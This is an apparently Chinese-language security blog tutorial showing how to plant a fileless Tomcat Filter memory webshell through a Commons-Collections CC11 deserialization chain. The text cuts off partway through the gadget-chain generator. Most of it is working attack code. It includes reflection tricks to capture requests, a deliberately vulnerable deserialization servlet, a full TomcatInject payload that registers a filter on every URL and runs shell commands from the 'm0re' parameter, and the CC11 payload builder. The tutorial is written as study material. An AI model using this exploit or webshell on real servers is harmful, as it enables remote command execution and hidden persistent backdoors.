背景

参考:https://www.yuque.com/tianxiadamutou/zcfd4v/tzcdeb

内存马原本想要的效果应该是无文件落地,顾名思义,木马留在内存当中。而上次写的Filter内存马其实只是不在当前目录中生成木马文件,其实web服务器还是将其进行编译加载实例化的。

用everything就可以找到的。

🍩结合CC11实现无文件落地内存马注入 - 图1

解决问题

看了几篇文章,其中一个方法是利用CC11这条链子来结合反序列化去实现无文件落地内存马注入。

首先是回显问题

之前学习CC链都是直接在idea中实现命令回显,现在如果需要结合CC11进行内存马注入并且回显内容的话,还是需要做些改变。首先在Tomcat中利用servlet和jsp内置的request和response可以比较轻松的获取到执行结果。看了几篇相关文章,发现大家都在用kingkk师傅找到的那个利用点,也就是ApplicationFilterChain类中的lastServicedRequestlastServicedResponse 的静态变量。

🍩结合CC11实现无文件落地内存马注入 - 图2

位于:org.apache.catalina.core.ApplicationFilterChain

在 ApplicationFilterChain类的internalDoFilter方法中,第二个try,在分析Filter型内存马的逻辑时有提到过。

这里就有判断,当WRAP_SAME_OBJECT为true时,就会使用set方法,将requestresponse传进去。

🍩结合CC11实现无文件落地内存马注入 - 图3

然后找这两个静态变量的初始化的地方,在这个文件开始有一块静态代码片段,一般静态代码都是优先执行的

🍩结合CC11实现无文件落地内存马注入 - 图4

然后就是这个WRAP_SAME_OBJECT一开始的状态就是false,这个地方在哪里?

WRAP_SAME_OBJECTApplicationDispatcher类中也是一个静态变量。并且关于WRAP_SAME_OBJECT的设置还有一层静态代码

🍩结合CC11实现无文件落地内存马注入 - 图5

String wrapSameObject获取的是配置文件中的这个变量,所以如果没有配置文件,那么这个变量就默认是null然后就可以进入判断逻辑中

  1. WRAP_SAME_OBJECT = STRICT_SERVLET_COMPLIANCE;

STRICT_SERVLET_COMPLIANCE也是在前面定义好的

  1. STRICT_SERVLET_COMPLIANCE = Globals.STRICT_SERVLET_COMPLIANCE;

跟进Globals类去查看

🍩结合CC11实现无文件落地内存马注入 - 图6

所以这里默认为false,到这里就明白了ApplicationDispatcher.WRAP_SAME_OBJECT也是默认为false,这里要获取到request和response就需要让这个值为true,这时就可以使用反射来修改它的值。同时将lastServicedRequestlastServicedResponse初始化。

  1. WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher, true);
  2. lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
  3. lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());

当然在前面进行反射时需要进行一些其他操作。

在对final修饰的变量进行反射操作时,当然也不是可以直接操作的,看案例

  1. Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
  2. Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
  3. WRAP_SAME_OBJECT_FIELD.setAccessible(true);
  4. //一个必要的设置,修改final修饰的变量需要这么操作
  5. Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
  6. f0.setAccessible(true);
  7. f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);

然后就是代码逻辑,直接贴测试代码,对代码进行分析

  1. package com.sf.filterjsp;
  2. import javax.servlet.ServletException;
  3. import javax.servlet.ServletRequest;
  4. import javax.servlet.ServletResponse;
  5. import javax.servlet.annotation.WebServlet;
  6. import javax.servlet.http.HttpServlet;
  7. import javax.servlet.http.HttpServletRequest;
  8. import javax.servlet.http.HttpServletResponse;
  9. import java.io.IOException;
  10. import java.io.InputStream;
  11. import java.io.Writer;
  12. import java.lang.reflect.Field;
  13. import java.lang.reflect.Modifier;
  14. @WebServlet("/ccFilter")
  15. @SuppressWarnings("all")
  16. public class CC11Filter extends HttpServlet {
  17. @Override
  18. protected void doGet(HttpServletRequest request, HttpServletResponse response){
  19. try{
  20. Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
  21. Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
  22. WRAP_SAME_OBJECT_FIELD.setAccessible(true);
  23. //一个必要的设置,修改final修饰的变量需要这么操作
  24. Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
  25. f0.setAccessible(true);
  26. f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);
  27. //需要用到的另外两个final修饰的变量
  28. Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
  29. Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
  30. Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
  31. lastServicedRequestField.setAccessible(true);
  32. lastServicedResponseField.setAccessible(true);
  33. f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
  34. f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);
  35. ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
  36. ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);
  37. //经典三目运算符获取用户输入
  38. String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;
  39. //先判断三个条件是否都符合
  40. if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){
  41. //初始化两个静态变量并设置WRAP_SAME_OBJECT为true
  42. //这里几乎是必进的一个逻辑
  43. WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher, true);
  44. lastServicedRequestField.set(applicationFilterChain, new ThreadLocal());
  45. lastServicedResponseField.set(applicationFilterChain, new ThreadLocal());
  46. }else if (cmd!=null){
  47. InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
  48. StringBuilder stringBuilder = new StringBuilder("");
  49. byte[] bytes = new byte[1024];
  50. int line = 0;
  51. while ((line = inputStream.read(bytes))!=-1){
  52. stringBuilder.append(new String(bytes, 0, line));
  53. }
  54. Writer writer = lastServicedResponse.get().getWriter();
  55. writer.write(stringBuilder.toString());
  56. writer.flush();
  57. }
  58. } catch (Exception e) {
  59. e.printStackTrace();
  60. }
  61. }
  62. @Override
  63. protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  64. super.doPost(req, resp);
  65. }
  66. }

回显问题解决

🍩结合CC11实现无文件落地内存马注入 - 图7

下面走一下这个过程

下断点调试,第一次加载:

打开/ccFilter,到这个位置,还没加载CC11Filter,所以还是默认的配置,WRAP_SAME_OBJECT的值依旧是false

🍩结合CC11实现无文件落地内存马注入 - 图8

进入自己写的方法,这里可以看到没有将request和response存入,这里三目运算符的判断还是false。

🍩结合CC11实现无文件落地内存马注入 - 图9

第二次访问:访问/ccFilter加参数

已经修改为true,继续执行

🍩结合CC11实现无文件落地内存马注入 - 图10

进入,调用set方法,将requestresponse分别存入lastServicedRequestlastServicedResponse

🍩结合CC11实现无文件落地内存马注入 - 图11

然后继续向下走,到了调用自己写的Filter方法,这里可以看到

🍩结合CC11实现无文件落地内存马注入 - 图12

进入看到与第一次访问不一样的地方

🍩结合CC11实现无文件落地内存马注入 - 图13

继续向下能进入执行命令的逻辑了,将返回内容写入response

🍩结合CC11实现无文件落地内存马注入 - 图14

构建漏洞环境

需要一个可以反序列化的环境,这个环境问题有点阴间,可能也是我对Servlet不熟悉的原因,访问时各种错误。环境源代码来自:天下大木头师傅

  1. import javax.servlet.ServletException;
  2. import javax.servlet.annotation.WebServlet;
  3. import javax.servlet.http.HttpServlet;
  4. import javax.servlet.http.HttpServletRequest;
  5. import javax.servlet.http.HttpServletResponse;
  6. import java.io.IOException;
  7. import java.io.InputStream;
  8. import java.io.ObjectInputStream;
  9. @WebServlet(name = "CC11", value = "/cc")
  10. public class CCServlet extends HttpServlet {
  11. @Override
  12. protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  13. InputStream inputStream = (InputStream) req;
  14. ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
  15. try {
  16. objectInputStream.readObject();
  17. } catch (ClassNotFoundException e) {
  18. e.printStackTrace();
  19. }
  20. resp.getWriter().write("Success");
  21. }
  22. @Override
  23. protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  24. InputStream inputStream = req.getInputStream();
  25. ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
  26. try {
  27. objectInputStream.readObject();
  28. } catch (ClassNotFoundException e) {
  29. e.printStackTrace();
  30. }
  31. resp.getWriter().write("Success");
  32. }
  33. }

添加commons-collections依赖,maven导入

  1. <dependency>
  2. <groupId>commons-collections</groupId>
  3. <artifactId>commons-collections</artifactId>
  4. <version>3.1</version>
  5. </dependency>

这里说下大概坑点,访问时看到状态码是500就是可以用的了,404则需要再次检查

然后是这个地方吧,需要设置一下,确认commons-collections已导入。我觉得我一直存在的问题就是这里。

PS:如果还是不成功,建议重新建一个项目,毕竟新建的环境只需要一个简单的Sever服务端即可。可以解决大部分错误。

🍩结合CC11实现无文件落地内存马注入 - 图15

实现反序列化注入

大概梳理一下

  1. 将request和response存入lastServicedRequest和lastServicedResponse,这是上面解决回显的问题
  2. 从lastServicedRequest和lastServicedResponse再获取到存入的request和response
  3. 获取servletcontext
  4. 注册Filter,注入内存马

存入request和response

将request和response存入,参考三梦师傅的代码,可能一些命名格式按照我的习惯,不过逻辑是大差不差的。

  1. package com.sf.filterjsp;
  2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  7. import java.lang.reflect.Field;
  8. import java.lang.reflect.Modifier;
  9. /**
  10. * @author threedr3am
  11. */
  12. public class TomcatInject extends AbstractTranslet {
  13. static {
  14. try{
  15. /*
  16. * 反序列化后
  17. * */
  18. Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
  19. Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
  20. Field modifiersField = WRAP_SAME_OBJECT_FIELD.getClass().getDeclaredField("modifiers");
  21. modifiersField.setAccessible(true);
  22. modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
  23. WRAP_SAME_OBJECT_FIELD.setAccessible(true);
  24. if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
  25. WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
  26. }
  27. //初始化 lastServicedRequest
  28. Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
  29. Field lastServiceRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
  30. modifiersField = lastServiceRequestField.getClass().getDeclaredField("modifiers");
  31. modifiersField.setAccessible(true);
  32. modifiersField.setInt(lastServiceRequestField, lastServiceRequestField.getModifiers() & ~Modifier.FINAL);
  33. lastServiceRequestField.setAccessible(true);
  34. if (lastServiceRequestField.get(null) == null) {
  35. lastServiceRequestField.set(null, new ThreadLocal());
  36. }
  37. //初始化 lastServicedResponse
  38. Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
  39. modifiersField = modifiersField.getClass().getDeclaredField("modifiers");
  40. modifiersField.setAccessible(true);
  41. modifiersField.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);
  42. lastServicedResponseField.setAccessible(true);
  43. if (lastServicedResponseField.get(null) == null) {
  44. lastServicedResponseField.set(null, new ThreadLocal());
  45. }
  46. } catch (Exception e) {
  47. e.printStackTrace();
  48. }
  49. }
  50. @Override
  51. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  52. }
  53. @Override
  54. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  55. }
  56. }
继承<font style="color:rgb(51, 51, 51);">AbstractTranslet</font>是为了携带恶意字节码到服务端去加载并执行。在静态代码块中通过反射进行一些参数的值的获取和初始化的操作

lastServicedRequest中获取request

继续进行,前面存入了request和response,那现在要取出使用,先取出

获取request的时候,增加了一个判断逻辑,做如下处理,在注释中写的比较清楚了。

也要考虑其他情况,如果是spring框架,那么可以从下面两种方法去获取request。主要还是通过反射去获取。

  1. //获取ServletContext
  2. private static ServletContext getServletContext() throws Exception {
  3. ServletRequest servletRequest = null;
  4. //拿到request 和 response
  5. Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
  6. Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
  7. lastServicedRequestField.setAccessible(true);
  8. //get(null),非null的话,使用get方法就可以直接获取url传输过来的值了
  9. ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
  10. //增加一个判断逻辑,不为空则意味着第一次反序列化的准备工作成功
  11. if (threadLocal != null && threadLocal.get() != null){
  12. //获取 servletRequest,对比上一个get(null)就可以看到区别
  13. servletRequest = (ServletRequest) threadLocal.get();
  14. }
  15. /*
  16. * 如果不是通过Request去传输的,我理解的是不通过get或post吧
  17. * 那么就通过以下两种方式去获取 servletRequest
  18. * */
  19. //第一种
  20. if (servletRequest == null){
  21. try {
  22. Class requestContextHolder = Class.forName("org.springframework.web.context.request.RequestContextHolder");
  23. Method getRequestAttributesMethod = requestContextHolder.getMethod("getRequestAttributes");
  24. Object o = getRequestAttributesMethod.invoke(null);
  25. Class<?> name = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
  26. Method nameMethod = name.getMethod("getRequest");
  27. servletRequest = (ServletRequest) nameMethod.invoke(o);
  28. }catch (Throwable t){}
  29. }
  30. if (servletRequest != null){
  31. return servletRequest.getServletContext();
  32. }
  33. //第二种
  34. try {
  35. Class contextLoader = Class.forName("org.springframework.web.context.ContextLoader");
  36. Method getCurrentWebApplicationContext = contextLoader.getMethod("getCurrentWebApplicationContext");
  37. Object o = getCurrentWebApplicationContext.invoke(null);
  38. Class<?> name = Class.forName("org.springframework.web.context.WebApplicationContext");
  39. Method nameMethod = name.getMethod("getServletContext");
  40. ServletContext servletContext = (ServletContext) nameMethod.invoke(o);
  41. return servletContext;
  42. }catch (Throwable t){}
  43. return null;
  44. }
Spring中获取request的两种方法的逻辑

第一种(参考:https://www.cnblogs.com/thankyouGod/p/6064165.html

其实第一种方法是实现了这么一个操作

  1. HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest();

只是通过反射来实现这行代码

  1. if (servletRequest == null){
  2. try {
  3. Class requestContextHolder = Class.forName("org.springframework.web.context.request.RequestContextHolder");
  4. Method getRequestAttributesMethod = requestContextHolder.getMethod("getRequestAttributes");
  5. Object o = getRequestAttributesMethod.invoke(null);
  6. Class<?> name = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
  7. Method nameMethod = name.getMethod("getRequest");
  8. servletRequest = (ServletRequest) nameMethod.invoke(o);
  9. }catch (Throwable t){}
  10. }
  11. if (servletRequest != null){
  12. return servletRequest.getServletContext();
  13. }

简单描述一下,通过反射分别获取getRequestAttributesgetRequest这两个方法

需要用反射的方法去调用另一个方法,中间连接是getRequestAttributesMethod.invoke(null);

第二种方法跟第一种方法类似,不啰嗦了。

获取servletcontext

  1. static {
  2. try{
  3. //调用静态方法getServletContext
  4. ServletContext servletContext = getServletContext();
  5. if (servletContext != null){
  6. Field context = servletContext.getClass().getDeclaredField("context");
  7. context.setAccessible(true);
  8. ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
  9. Field stdcontext = applicationContext.getClass().getDeclaredField("context");
  10. stdcontext.setAccessible(true);
  11. StandardContext standardContext = (StandardContext) stdcontext.get(applicationContext);
  12. if (standardContext != null){
  13. Field stateField = LifecycleBase.class.getDeclaredField("state");
  14. stateField.setAccessible(true);
  15. //给standardContext设置一个状态
  16. stateField.set(standardContext, LifecycleState.STARTING_PREP);
  17. /*
  18. * 1. 实现Filter接口
  19. * 2. 可以调用doFilter来添加myFilter
  20. * 3. 也可以使用反射来添加
  21. * */
  22. Filter myFilter = new TomcatInject();
  23. FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, myFilter);
  24. //接下来的操作是设置filtermapping
  25. filterRegistration.setInitParameter("encoding", "utf-8");
  26. //是否支持异步处理,默认为false
  27. filterRegistration.setAsyncSupported(false);
  28. filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST),false, new String[]{filterUrlPattern});
  29. //修改生命周期的状态为:已经启动
  30. if (stateField != null){
  31. stateField.set(standardContext, LifecycleState.STARTED);
  32. }
  33. //调用
  34. if (standardContext != null){
  35. //使用filterStart来启动创建的filter
  36. Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
  37. filterStartMethod.setAccessible(true);
  38. filterStartMethod.invoke(standardContext, null);
  39. Class _filter = null;
  40. try {
  41. _filter = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
  42. }catch (Throwable t){}
  43. //可能是apache版本的问题,这里的deploy下没有FilterMap类,所以暂时注释掉
  44. // if (_filter == null){
  45. // try {
  46. // _filter = Class.forName("org.apache.catalina.deploy.FilterMap")
  47. // }
  48. // }
  49. //获取filterMaps,并将自定义的filtermap插在第一个位置
  50. Method findFilterMapsMethod = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("findFilterMaps");
  51. Object[] filterMaps = (Object[]) findFilterMapsMethod.invoke(standardContext);
  52. Object[] tmpFilterMaps = new Object[filterMaps.length];
  53. int index = 1;
  54. for (int i = 0; i < filterMaps.length; i++){
  55. Object o = filterMaps[i];
  56. findFilterMapsMethod = _filter.getMethod("getFilterName");
  57. String name = (String) findFilterMapsMethod.invoke(o);
  58. //判断是不是我创建的Filter,根据name来判断,忽略大小写
  59. if (name.equalsIgnoreCase(filterName)){
  60. //如果是,则将其赋值给tmpFilterMaps的第一个也就是第0位
  61. tmpFilterMaps[0] = o;
  62. }else {
  63. //如果不是,继续在filterMaps中找
  64. tmpFilterMaps[index++] = filterMaps[i];
  65. }
  66. }
  67. for (int i = 0; i < filterMaps.length; i++){
  68. //相当于将tmpFilterMaps复制了一下,或者是说改了个数组名而已
  69. filterMaps[i] = tmpFilterMaps[i];
  70. }
  71. }
  72. }
  73. }
  74. } catch (Exception e) {
  75. e.printStackTrace();
  76. }
  77. }

逻辑这边,我在注释中写的比较详细

这里就说一下那个apache版本的原因找不到FilterMap类的问题,我用的是tomcat8.5版本的,在这个包下是没有发现FilterMap类的。

🍩结合CC11实现无文件落地内存马注入 - 图16

于是就将它给注释掉了。

执行命令部分

在此之前,需要实现Filter接口,并重写Filter生命周期中的初始化方法、过滤方法以及销毁方法

  1. @Override
  2. public void init(FilterConfig filterConfig) throws ServletException {
  3. }
  4. @Override
  5. public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
  6. /*
  7. * 执行命令的部分
  8. * */
  9. System.out.println("-----------------------------------------TomcatFilterShell Inject---------------------------------------------------");
  10. String cmd;
  11. String line;
  12. if ((cmd = request.getParameter(cmdParamName)) != null){
  13. Process process = Runtime.getRuntime().exec(cmd);
  14. BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
  15. StringBuilder stringBuilder = new StringBuilder();
  16. while ((line = bufferedReader.readLine()) != null){
  17. stringBuilder.append(line+"\n");
  18. }
  19. response.getOutputStream().write(stringBuilder.toString().getBytes(StandardCharsets.UTF_8));
  20. response.getOutputStream().flush();
  21. response.getOutputStream().close();
  22. return;
  23. }
  24. chain.doFilter(request, response);
  25. }
  26. @Override
  27. public void destroy() {
  28. }

执行命令部分也就是最简单的一句话木马形式,不理解ProcessRuntime结合进行Java与非Java程序之间的交互可以看下https://blog.csdn.net/m0_37556444/article/details/85622179

简单说下

Process通过getInputStream方法获取子进程的输入流,最后由response调用getOutputStream方法结合write方法,将结果输出。

完整的POC流程

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import org.apache.catalina.LifecycleState;
  7. import org.apache.catalina.core.ApplicationContext;
  8. import org.apache.catalina.core.StandardContext;
  9. import org.apache.catalina.util.LifecycleBase;
  10. import javax.servlet.*;
  11. import java.io.BufferedReader;
  12. import java.io.IOException;
  13. import java.io.InputStreamReader;
  14. import java.lang.reflect.Field;
  15. import java.lang.reflect.Method;
  16. import java.nio.charset.StandardCharsets;
  17. import java.util.EnumSet;
  18. public class TomcatInject extends AbstractTranslet implements Filter{
  19. private final String cmdParamName = "m0re";
  20. private final static String filterUrlPattern = "/*";
  21. private final static String filterName = "tomcat";
  22. //获取ServletContext
  23. private static ServletContext getServletContext() throws Exception {
  24. ServletRequest servletRequest = null;
  25. //拿到request 和 response
  26. Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
  27. Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
  28. lastServicedRequestField.setAccessible(true);
  29. //get(null),非null的话,使用get方法就可以直接获取url传输过来的值了
  30. ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
  31. //增加一个判断逻辑,不为空意味着第一次反序列化的准备工作成功
  32. if (threadLocal != null && threadLocal.get() != null){
  33. //获取 servletRequest,对比上一个get(null)就可以看到区别
  34. servletRequest = (ServletRequest) threadLocal.get();
  35. }
  36. /*
  37. * 如果不是通过Request去传输的,我理解的是不通过get或post吧
  38. * 那么就通过以下两种方式去获取 servletRequest
  39. * */
  40. //第一种
  41. if (servletRequest == null){
  42. try {
  43. Class requestContextHolder = Class.forName("org.springframework.web.context.request.RequestContextHolder");
  44. Method getRequestAttributesMethod = requestContextHolder.getMethod("getRequestAttributes");
  45. Object o = getRequestAttributesMethod.invoke(null);
  46. Class<?> name = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
  47. Method nameMethod = name.getMethod("getRequest");
  48. servletRequest = (ServletRequest) nameMethod.invoke(o);
  49. }catch (Throwable t){}
  50. }
  51. if (servletRequest != null){
  52. return servletRequest.getServletContext();
  53. }
  54. //第二种
  55. try {
  56. Class contextLoader = Class.forName("org.springframework.web.context.ContextLoader");
  57. Method getCurrentWebApplicationContext = contextLoader.getMethod("getCurrentWebApplicationContext");
  58. Object o = getCurrentWebApplicationContext.invoke(null);
  59. Class<?> name = Class.forName("org.springframework.web.context.WebApplicationContext");
  60. Method nameMethod = name.getMethod("getServletContext");
  61. ServletContext servletContext = (ServletContext) nameMethod.invoke(o);
  62. return servletContext;
  63. }catch (Throwable t){}
  64. return null;
  65. }
  66. //静态代码块
  67. static {
  68. try{
  69. //调用静态方法getServletContext
  70. ServletContext servletContext = getServletContext();
  71. if (servletContext != null){
  72. Field context = servletContext.getClass().getDeclaredField("context");
  73. context.setAccessible(true);
  74. ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
  75. Field stdcontext = applicationContext.getClass().getDeclaredField("context");
  76. stdcontext.setAccessible(true);
  77. StandardContext standardContext = (StandardContext) stdcontext.get(applicationContext);
  78. if (standardContext != null){
  79. Field stateField = LifecycleBase.class.getDeclaredField("state");
  80. stateField.setAccessible(true);
  81. //给standardContext设置一个状态
  82. stateField.set(standardContext, LifecycleState.STARTING_PREP);
  83. /*
  84. * 1. 实现Filter接口
  85. * 2. 可以调用doFilter来添加myFilter
  86. * 3. 也可以使用反射来添加
  87. * */
  88. Filter myFilter = new TomcatInject();
  89. FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, myFilter);
  90. //接下来的操作是设置filtermapping
  91. filterRegistration.setInitParameter("encoding", "utf-8");
  92. //是否支持异步处理,默认为false
  93. filterRegistration.setAsyncSupported(false);
  94. filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST),false, new String[]{filterUrlPattern});
  95. //修改生命周期的状态为:已经启动
  96. if (stateField != null){
  97. stateField.set(standardContext, LifecycleState.STARTED);
  98. }
  99. //调用
  100. if (standardContext != null){
  101. //使用filterStart来启动创建的filter
  102. Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
  103. filterStartMethod.setAccessible(true);
  104. filterStartMethod.invoke(standardContext, null);
  105. Class _filter = null;
  106. try {
  107. _filter = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
  108. }catch (Throwable t){}
  109. //可能是apache版本的问题,这里的deploy下没有FilterMap类,所以暂时注释掉
  110. // if (_filter == null){
  111. // try {
  112. // _filter = Class.forName("org.apache.catalina.deploy.FilterMap")
  113. // }
  114. // }
  115. //获取filterMaps,并将自定义的filtermap插在第一个位置
  116. Method findFilterMapsMethod = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("findFilterMaps");
  117. Object[] filterMaps = (Object[]) findFilterMapsMethod.invoke(standardContext);
  118. Object[] tmpFilterMaps = new Object[filterMaps.length];
  119. int index = 1;
  120. for (int i = 0; i < filterMaps.length; i++){
  121. Object o = filterMaps[i];
  122. findFilterMapsMethod = _filter.getMethod("getFilterName");
  123. String name = (String) findFilterMapsMethod.invoke(o);
  124. //判断是不是我创建的Filter,根据name来判断,忽略大小写
  125. if (name.equalsIgnoreCase(filterName)){
  126. //如果是,则将其赋值给tmpFilterMaps的第一个也就是第0位
  127. tmpFilterMaps[0] = o;
  128. }else {
  129. //如果不是,继续在filterMaps中找
  130. tmpFilterMaps[index++] = filterMaps[i];
  131. }
  132. }
  133. for (int i = 0; i < filterMaps.length; i++){
  134. //相当于将tmpFilterMaps复制了一下,或者是说改了个数组名而已
  135. filterMaps[i] = tmpFilterMaps[i];
  136. }
  137. }
  138. }
  139. }
  140. } catch (Exception e) {
  141. e.printStackTrace();
  142. }
  143. }
  144. @Override
  145. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  146. }
  147. @Override
  148. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  149. }
  150. @Override
  151. public void init(FilterConfig filterConfig) throws ServletException {
  152. }
  153. @Override
  154. public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
  155. /*
  156. * 执行命令的部分
  157. * */
  158. System.out.println("-----------------------------------------TomcatFilterShell Inject---------------------------------------------------");
  159. String cmd;
  160. String line;
  161. if ((cmd = request.getParameter(cmdParamName)) != null){
  162. Process process = Runtime.getRuntime().exec(cmd);
  163. BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
  164. StringBuilder stringBuilder = new StringBuilder();
  165. while ((line = bufferedReader.readLine()) != null){
  166. stringBuilder.append(line+"\n");
  167. }
  168. response.getOutputStream().write(stringBuilder.toString().getBytes(StandardCharsets.UTF_8));
  169. response.getOutputStream().flush();
  170. response.getOutputStream().close();
  171. return;
  172. }
  173. chain.doFilter(request, response);
  174. }
  175. @Override
  176. public void destroy() {
  177. }
  178. }

利用CC11进行注入

利用代码来源:天下大木头

  1. package com.sf.filterjsp;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import org.apache.commons.collections.functors.InvokerTransformer;
  4. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  5. import org.apache.commons.collections.map.LazyMap;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.util.HashMap;
  9. import java.util.HashSet;
  10. @SuppressWarnings("all")
  11. public class CC11Tool {
  12. public static void main(String[] args) throws Exception {
  13. byte[] bytes = getBytes();
  14. byte[][] targetByteCodes = new byte[][]{bytes};
  15. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  16. Field f0 = templates.getClass().getDeclaredField("_bytecodes");
  17. f0.setAccessible(true);
  18. f0.set(templates,targetByteCodes);
  19. f0 = templates.getClass().getDeclaredField("_name");
  20. f0.setAccessible(true);
  21. f0.set(templates,"name");
  22. f0 = templates.getClass().getDeclaredField("_class");
  23. f0.setAccessible(true);
  24. f0.set(templates,null);
  25. // 利用反射调用 templates 中的 newTransformer 方法
  26. InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
  27. HashMap innermap = new HashMap();
  28. LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
  29. TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
  30. HashSet hashset = new HashSet(1);
  31. hashset.add("foo");
  32. // 我们要设置 HashSet 的 map 为我们的 HashMap
  33. Field f = null;
  34. try {
  35. f = HashSet.class.getDeclaredField("map");
  36. } catch (NoSuchFieldException e) {
  37. f = HashSet.class.getDeclaredField("backingMap");
  38. }
  39. f.setAccessible(true);
  40. HashMap hashset_map = (HashMap) f.get(hashset);
  41. Field f2 = null;
  42. try {
  43. f2 = HashMap.class.getDeclaredField("table");
  44. } catch (NoSuchFieldException e) {
  45. f2 = HashMap.class.getDeclaredField("elementData");
  46. }
  47. f2.setAccessible(true);
  48. Object[] array = (Object[])f2.get(hashset_map);
  49. Object node = array[0];
  50. if(node == null){
  51. node = array[1];
  52. }
  53. Field keyField = null;
  54. try{
  55. keyField = node.getClass().getDeclaredField("key");
  56. }catch(Exception e){
  57. keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
  58. }
  59. keyField.setAccessible(true);
  60. keyField.set(node,tiedmap);
  61. // 在 invoke 之后,
